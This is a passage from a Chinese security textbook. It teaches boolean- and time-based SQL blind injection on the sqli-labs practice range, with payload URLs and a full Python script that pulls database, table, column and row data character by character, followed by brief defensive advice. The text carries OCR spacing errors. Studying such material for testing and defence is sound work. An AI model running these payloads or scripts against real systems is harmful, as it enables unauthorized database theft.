在进行SQL注入攻击时,若确定有注入点但因页面没有回显位来显示数据, 导致无法获取有效信息时,就要进行SQL盲注。
5.3.1 简介
目前常用的SQL盲注主要分以下两类:
·基于布尔的盲注:当页面没有回显位、不会输出SQL语句报错信息时,通过 返回页面响应的正常或不正常的情况来进行注入。
·基于时间的盲注:当页面没有回显位、不会输出SQL语句报错信息、不论 SQL语句的执行结果对错都返回一样的页面时,通过页面的响应时间来进行注 入。
上述两种盲注方式都存在的缺点就是需要耗费大量的精力去进行测试,因此 在渗透测中常使用工具或脚本来代替手工操作,完成烦琐的注入过程。
sqli-labs是由一位印度程序员编写的SQL注入练习靶场,包含多种类型的注入 方式,接下来将会在sqli-labs环境下具体讲解SQL盲注脚本的编写过程。
5.3.2 基于布尔型SQL盲注检测
本节以sqli-labs靶场的第八关为例。该关的SQL查询语句为SELECT*FROM users WHERE id='$id'LIMIT 0 ,1。
如果盲注的结果正确,则会显示“You are in...........” ,如图5-5所示。
如果盲注的结果错误,则不会显示“You are in...........” ,如图5-6所示。
那么,我们只需要提前构造相应的注入语句,然后根据页面是否回显“You
are in...........”来进行判断即可,让脚本进行自动化操作。笔者已经构造好所需的
Payload ,代码如下所示:
>>> http://127 .0 .0 .1/sql/Less-8/?id=1 ' and if(length(database())=8,1,0) %23
# 获取数据库名
>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if(ascii(subst r(database(),1,1))=115, 1,0) %23
# 获取数据库表的数量
>>> http://127 .0 .0 .1/sql/Less-8/?id=1 ' and if((select count(*)table_name
from information_schema .tables where table_schema= 'security ')=4,1,0) %23
# 获取数据库表名称的长度
>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if((select LENGTH(table_name) from information_schema .tables where table_schema= 'security ' limit 1,1)=
8,1,0) %23
# 获取数据库表名
>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if(ascii(subst r((select table_name
from information_schema .tables where table_schema= 'security ' limit 0,1), 1,1))=101,1,0) %23
# 获取表的字段数量
>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if((select count(column_name) from
information_schema .columns where table_schema= 'security ' and table_name= 'users ')=3,1,0) %23
# 获取字段的长度
>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if((select length(column_name) from
information_schema .columns where table_schema= 'security ' and table_name= 'users ' limit 0,1)=2,1,0) %23
# 获取表的字段
>>> http://127 .0 .0 .1/Less-8/?id=1 ' and if(ascii(subst r((select column_name from information_schema .columns where table_schema= 'security ' and table _name= 'users ' limit 0,1),1,1))=105,1,0) %23
# 获取字段数据的数量
>>> http://127 .0 .0 .1/Less-8/?id=1 'and if ((select count(username) from
users)=13,1,0) %23
# 获取字段数据的长度
>>> http://127 .0 .0 .1/Less-8/?id=1 'and if ((select length(username) from
users limit 0,1)=4,1,0) %23
# 获取字段数据
>>> http://127 .0 .0 .1/Less-8/?id=1 'and if (ascii(subst r((select username
from users limit 0,1),1,1))=68,1,0) %23
图5-6 布尔注入结果错误
1)写入脚本信息,导入模块,定义存储数据库数据的变量且定义一个request 对象用来进行请求,代码如下:
#!/usr/bin/python3 # -*- coding: utf-8 -*-
import requests import optparse
# 存放数据库名的变量 DBName = "" # 存放数据库表的变量 DBTables = [] # 存放数据库字段的变量 DBColumns = [] # 存放数据字典的变量,键为字段名,值为字段数据列表 DBData = {} # 若页面返回真,则会出现“You are in . . . . . . . . . . .” flag = "You are in . . . . . . . . . . ." # 设置重连次数以及将连接改为短连接 # 防止因为HTTP连接数过多导致的 Max retries exceeded with url问题 requests .adapters .DEFAULT_RETRIES = 5 conn = requests .session() conn .keep_alive = False |
2)编写主函数,用来调用各个函数进行自动化注入,代码如下: |
# 盲注主函数
def StartSqli(url) :
GetDBName(url)
print("[+]当前数据库名 :{0}" .format(DBName))
GetDBTables(url,DBName)
print("[+]数据库{0}的表如下 :" .format(DBName))
for item in range(len(DBTables)) :
print("(" + str(item + 1) + ")" + DBTables[item])
tableIndex = in t(input("[*]请输入要查看的表的序号 :")) - 1
GetDBColumns(url,DBName,DBTables[tableIndex])
while True:
print("[+]数据表{0}的字段如下 :" .format(DBTables[tableIndex]))
for item in range(len(DBColumns)) :
print("(" + str(item + 1) + ")" + DBColumns[item])
columnIndex = in t(input("[*]请输入要查看的字段的序号(输入0退出) :"))-1 if(columnIndex == -1) :
break
else:
GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])
3)编写获取数据库名的函数,根据得到的URL获取数据库名并把最后的结 果存入DBName: |
def GetDBName(url) : # 引用全局变量DBName,用来存放网页当前使用的数据库名 global DBName print("[-]开始获取数据库名的长度") # 保存数据库名长度的变量 DBNameLen = 0 # 用于检查数据库名长度的payload payload = " ' and if(length(database())={0},1,0) %23" # 把URL和payload进行拼接,得到最终请求的URL targetUrl = url + payload # 用for循环来遍历请求,得到数据库名的长度 for DBNameLen in range(1, 99) : # 对payload中的参数进行赋值猜解 res = conn .get(targetUrl.format(DBNameLen)) # 判断flag是否在返回的页面中 if flag in res .content.decode("utf-8") : print("[+]数据库名的长度 :" + str(DBNameLen)) break print("[-]开始获取数据库名") payload = " ' and if(ascii(subst r(database(),{0},1))={1},1,0) %23" targetUrl = url + payload # a表示subst r()函数的截取起始位置 for a in range(1, DBNameLen+1) : # b表示在ASCII码中33~126位可显示的字符 for b in range(33, 127) : res = conn .get(targetUrl.format(a,b)) if flag in res .content.decode("utf-8") : DBName += chr(b) print("[-]"+ DBName) break |
4)编写获取数据库表的函数,根据获取到的URL和数据库名获取数据库中 的表,并把结果以列表的形式存入DBTables:
|
# 获取数据库表的函数
def GetDBTables(url, dbname) :
global DBTables
# 存放数据库表数量的变量
DBTableCount = 0
print("[-]开始获取{0}数据库表数量 :" .format(dbname))
# 获取数据库表数量的payload
payload = " ' and if((select count(*)table_name from information_schema . tables where table_schema= '{0} ')={1},1,0) %23"
targetUrl = url + payload
# 开始遍历获取数据库表的数量
for DBTableCount in range(1, 99) :
res = conn .get(targetUrl.format(dbname, DBTableCount))
if flag in res .content.decode("utf-8") :
print("[+]{0}数据库中表的数量为 :{1}" .format(dbname, DBTableCount)) break
print("[-]开始获取{0}数据库的表" .format(dbname))
# 遍历表名时临时存放表名长度的变量
tableLen = 0
# a表示当前正在获取表的索引
for a in range(0,DBTableCount) :
print("[-]正在获取第{0}个表名" .format(a+1))
# 先获取当前表名的长度
for tableLen in range(1, 99) :
payload = " ' and if((select LENGTH(table_name) from
information_schema .tables where table_schema= '{0} '
limit {1},1)={2},1,0) %23"
targetUrl = url + payload
res = conn .get(targetUrl.format(dbname, a, tableLen))
if flag in res .content.decode("utf-8") :
break
# 开始获取表名
# 临时存放当前表名的变量
table = ""
# b表示当前表名猜解的位置
for b in range(1, tableLen+1) :
payload = " ' and if(ascii(subst r((select table_name from
information_schema .tables where table_schema= '{0} ' limit {1},1),{2},1))={3},1,0) %23"
targetUrl = url + payload
# c表示在ASCII码中33~126位可显示的字符
for c in range(33, 127) :
res = conn .get(targetUrl.format(dbname, a, b, c))
if flag in res .content.decode("utf-8") :
table += chr(c)
print(table)
break
# 把获取到的表名加入DBTables
DBTables .append(table)
# 清空table,用来继续获取下一个表名
table = ""
5)编写获取表字段的函数,根据获取的URL 、数据库名和数据库表,获取 表的字段并把结果以列表的形式存入DBColumns:
def GetDBColumns(url, dbname, dbtable) :
global DBColumns
# 存放字段数量的变量
DBColumnCount = 0
print("[-]开始获取{0}数据表的字段数 :" .format(dbtable))
for DBColumnCount in range(99) :
payload = " ' and if((select count(column_name) from information_ schema .columns where table_schema= '{0} ' and table_name= '{1} ')
={2},1,0) %23"
targetUrl = url + payload
res = conn .get(targetUrl.format(dbname, dbtable, DBColumnCount)) if flag in res .content.decode("utf-8") :
print("[-]{0}数据表的字段数为 :{1}" .format(dbtable, DBColumnCount))
break
# 开始获取字段的名称
# 保存字段名的临时变量
column = ""
# a表示当前获取字段的索引
for a in range(0, DBColumnCount) :
print("[-]正在获取第{0}个字段名" .format(a+1))
# 先获取字段的长度
for columnLen in range(99) :
payload = " ' and if((select length(column_name) from information_ schema .columns where table_schema= '{0} ' and table_name= '{1} ' limit {2},1)={3},1,0) %23"
targetUrl = url + payload
res = conn .get(targetUrl.format(dbname, dbtable, a, columnLen)) if flag in res .content.decode("utf-8") :
break
# b表示当前字段名猜解的位置
for b in range(1, columnLen+1) :
payload = " ' and if(ascii(subst r((select column_name from
information_schema .columns where table_schema= '{0} ' and
table_name= '{1} ' limit {2},1),{3},1))={4},1,0) %23"
targetUrl = url + payload
# c表示在ASCII码中33~126位可显示的字符
for c in range(33, 127) :
res = conn .get(targetUrl.format(dbname, dbtable, a, b, c)) if flag in res .content.decode("utf-8") :
column += chr(c)
print(column)
break
# 把获取到的字段名加入DBColumns
DBColumns .append(column)
# 清空column,用来继续获取下一个字段名
column = ""
6)编写数据获取函数,根据获取的URL 、数据表名和数据表字段来获取数 据。数据以字典的形式存放,键为字段名,值为字段数据形成的列表:
# 获取表数据的函数
def GetDBData(url,dbtable,dbcolumn) :
global DBData
# 先获取字段的数据数量
DBDataCount = 0
print("[-]开始获取{0}表{1}字段的数据数量" .format(dbtable, dbcolumn))
for DBDataCount in range(99) :
payload = "'and if ((select count({0}) from {1})={2},1,0) %23"
targetUrl = url + payload
res = conn .get(targetUrl.format(dbcolumn, dbtable, DBDataCount)) if flag in res .content.decode("utf-8") :
print("[-]{0}表{1}字段的数据数量为 :{2}" .format(dbtable, dbcolumn, DBDataCount))
break
for a in range(0, DBDataCount) :
print("[-]正在获取{0}的第{1}个数据" .format(dbcolumn, a+1))
# 先获取这个数据的长度
dataLen = 0
for dataLen in range(99) :
payload = "'and if ((select length({0}) from {1} limit {2},1) ={3},1,0) %23"
targetUrl = url + payload
res = conn .get(targetUrl.format(dbcolumn, dbtable, a, dataLen)) if flag in res .content.decode("utf-8") :
print("[-]第{0}个数据长度为 :{1}" .format(a+1, dataLen))
break
# 临时存放数据内容变量
data = ""
# 开始获取数据的具体内容
# b表示当前数据内容猜解的位置
for b in range(1, dataLen+1) :
for c in range(33, 127) :
payload = "'and if (ascii(subst r((select {0} from {1} limit {2},1),{3},1))={4},1,0) %23"
targetUrl = url + payload
res = conn .get(targetUrl.format(dbcolumn, dbtable, a, b, c)) if flag in res .content.decode("utf-8") :
data += chr(c)
print(data)
break
# 放到以字段名为键,值为列表的字典中
DBData .setdefault(dbcolumn,[]) .append(data)
print(DBData)
# 把data清空,继续获取下一个数据
data = ""
7)编写主函数,用来获取目标的URL并传递给StartSqli: |
if __name__ == '__main__ ' : parser = optparse .OptionParser( 'usage: python %prog -u url \n\n ' 'Example: python %prog -u http://192 .168 .61 .1/sql/Less-8/?id=1\n ') # 目标URL参数-u parser .add_option( '-u ', '--url ', dest= 'targetURL ',default= 'http:// 127.0.0.1/sql/Less-8/?id=1', type= 'string ',help= 'target URL ') (options, args) = parser .parse_args() StartSqli(options .targetURL) |
5.3.3 基于时间型SQL盲注检测
本节以sqli-labs靶场的第九关为例。该关的SQL查询语句为SELECT*FROM users WHERE id='$id'LIMIT 0 ,1。
这关不管语句正确还是错误,页面始终显示“Your are in...........” ,如图5-7所
示,所以我们只能通过基于时间的盲注方法来获取数据,根据页面的返回时间来 判断结果。
完成注入过程所需的Payload的代码如下:
# 判断数据库名的长度
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(length(database())=8,sleep(5), 0) %23
# 获取数据库名
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r(database(),1,1)) =115,sleep(5),0)%23
# 获取数据库中表的数量
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select count(table_name) from
information_schema .tables where table_schema= 'security ' )=4,sleep(5),0) %23
# 获取数据库表的长度
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select length(table_name)
from information_schema .tables where table_schema= 'security ' limit 0,1)= 6,sleep(5),0) %23
# 获取数据库表
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r((select table_
name from information_schema .tables where table_schema= 'security ' limit 0,1),1,1))=101,sleep(5),0)%23
# 获取数据库表中字段的数量
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select count(column_name) from information_schema .columns where table_schema= 'security ' and
table_name= 'users ')=3,sleep(5),0) %23
# 获取表字段的长度
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select length(column_name) from information_schema .columns where table_schema= 'security ' and
table_name= 'users ' limit 0,1)=2,sleep(5),0) %23
# 获取数据库字段
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r((select column_ name from information_schema .columns where table_schema= 'security ' and table_name= 'users ' limit 0,1),1,1))=105,sleep(5),0) %23
# 获取字段数据的数量
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select count(username) from users)=13,sleep(5),0) %23
# 获取字段数据的长度
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if((select length(username) from users limit 0,1)=4,sleep(5),0) %23
# 获取数据内容
>>> http://127 .0 .0 .1/sql/Less-9/?id=1 ' and if(ascii(subst r((select username from users limit 0,1),1,1))=68,sleep(5),0) %23
本节的代码与基于布尔的盲注脚本十分相似,不同之处在于此处脚本需要用 到time模块,判断结果的语句和所使用的Payload不相同。以下将列出部分代码, 读者可当作练习自行完成编写,若有疑问,可参考源代码。 获取数据库名的函数代码如下: |
# 获取数据库名的函数 def GetDBName(url) : # 引用全局变量DBName,用来存放网页当前使用的数据库名 global DBName print("[-]开始获取数据库名的长度") # 保存数据库名长度的变量 DBNameLen = 0 # 用于检查数据库名长度的payload payload = " ' and if(length(database())={0},sleep(5),0) %23" # 把URL和payload进行拼接,得到最终的请求URL targetUrl = url + payload # 用for循环来遍历请求,得到数据库名的长度 for DBNameLen in range(1, 99) : # 开始时间 timeStart = time .time() # 开始访问 res = conn .get(targetUrl.format(DBNameLen)) # 结束时间 timeEnd = time .time() # 判断时间差 if timeEnd - timeStart >= 5: print("[+]数据库名的长度 :" + str(DBNameLen)) break print("[-]开始获取数据库名") payload = " ' and if(ascii(subst r(database(),{0},1))={1},sleep(5),0)%23" targetUrl = url + payload # a表示subst r()函数的截取起始位置 for a in range(1, DBNameLen+1) : # b表示在ASCII码中33~126位可显示的字符 for b in range(33, 127) : timeStart = time .time() res = conn .get(targetUrl.format(a,b)) timeEnd = time .time() if timeEnd - timeStart >= 5: DBName += chr(b) print("[-]"+ DBName) break |
下面测试一下效果。
获取数据库名如下所示:
获取数据库表如下所示:
获取字段数据,如下所示:
5.3.4 防御策略
SQL盲注属于SQL注入的一种方式。下面介绍的几种防御方法可以有效降低 SQL注入对网站的危害:
1)用参数化查询的方式代替动态SQL。
2)避免显示数据库的错误信息。
3)在服务器上安装Web应用程序防火墙(Web Application Firewall, WAF)。
4)限制数据库的权限。
5)对于数据库中的敏感信息进行加密保存。
6)根据需求升级数据库的版本,避免旧版数据库中的已知漏洞。